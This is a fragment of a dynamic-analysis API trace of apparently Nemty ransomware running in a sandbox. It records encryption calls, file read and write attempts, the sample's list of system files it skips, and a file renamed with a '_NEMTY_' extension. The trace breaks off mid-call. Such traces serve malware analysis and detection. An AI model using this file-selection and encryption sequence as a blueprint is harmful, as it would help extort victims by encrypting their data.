GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d48230, dwHighDateTime=0x1d561e8)) [0132.847] GetLastError () returned 0x5 [0132.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.847] GetLastError () returned 0x5 [0132.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0132.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0132.848] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0132.848] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0132.848] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0132.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0132.848] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="hRQxK7pKYXgNce8puH95UlMukJrnfx1oadyxz9BLNnkfQku5f3mA4uMMat4z6Nyw\r\nIHNWHCLJWZ+LdTQGQbYbCSwe5CqYom4ckNbrr8qsZaJQ1xK4EUgse6tPiV7GAQN/\r\nYFzjQg8WDsRpx6zyCDLbp4e832cfPpSBnvD2QXJjckjXRqN+ldp3lkwSU0ySvl2N\r\n7iQhYX0/VJt+qlXL7kl3Crz/ZJOpVrVA+ZvSUD0sZXnXy7tD+gKxUCBMfAwmehvy\r\n814p5k+QL+Q4LuR4udroMB78N3mUi0Zw0YZeymfngFlD9owRKpo2c6D9k7cP+2wC\r\nnP4MuIlVUoWDjN1dBq4hCg==\r\n", pcchString=0x653e91c) returned 1 [0132.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0132.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0132.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0132.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0132.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0132.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0132.848] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Waitcursor.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_waitcursor.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0132.848] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0132.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0132.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.917] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.917] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.927] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.927] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.946] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0132.958] CloseHandle (hObject=0xffffffff) returned 0 [0132.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0132.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0132.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0132.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0132.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0132.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0132.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404b8 [0132.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0132.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0132.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0132.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Waitcursor.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_waitcursor.gif"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Waitcursor.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_waitcursor.gif._nemty_kgobjgd_")) returned 0 [0132.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0132.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0132.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0132.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0132.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0132.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0132.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0132.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0132.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0132.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.959] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9192c95, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9192c95, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="Gadget_WMC_LogoText.png", cAlternateFileName="")) returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2=".") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="..") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="...") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="windows") returned -1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="$RECYCLE.BIN") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="rsa") returned -1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="NTDETECT.COM") returned -1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="ntldr") returned -1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="MSDOS.SYS") returned -1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="IO.SYS") returned -1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="boot.ini") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="boot.ini") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="AUTOEXEC.BAT") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="ntuser.dat") returned -1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="desktop.ini") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="CONFIG.SYS") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="RECYCLER") returned -1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="BOOTSECT.BAK") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="bootmgr") returned 1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="programdata") returned -1 [0132.959] lstrcmpiW (lpString1="Gadget_WMC_LogoText.png", lpString2="appdata") returned 1 [0132.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_WMC_LogoText.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0132.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_WMC_LogoText.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_WMC_LogoText.png", lpUsedDefaultChar=0x0) returned 23 [0132.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0132.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_WMC_LogoText.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0132.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_WMC_LogoText.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_WMC_LogoText.png", lpUsedDefaultChar=0x0) returned 23 [0132.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0132.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_WMC_LogoText.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0132.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_WMC_LogoText.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_WMC_LogoText.png", lpUsedDefaultChar=0x0) returned 23 [0132.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_WMC_LogoText.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0132.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0132.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_WMC_LogoText.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_WMC_LogoText.png", lpUsedDefaultChar=0x0) returned 23 [0132.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0132.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0132.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0132.960] Sleep (dwMilliseconds=0x5) [0132.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e78d30, dwHighDateTime=0x1d561e8)) [0132.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e78d30, dwHighDateTime=0x1d561e8)) [0132.972] GetLastError () returned 0x5 [0132.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.972] GetLastError () returned 0x5 [0132.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0132.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0132.972] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0132.972] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0132.973] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0132.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0132.973] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: 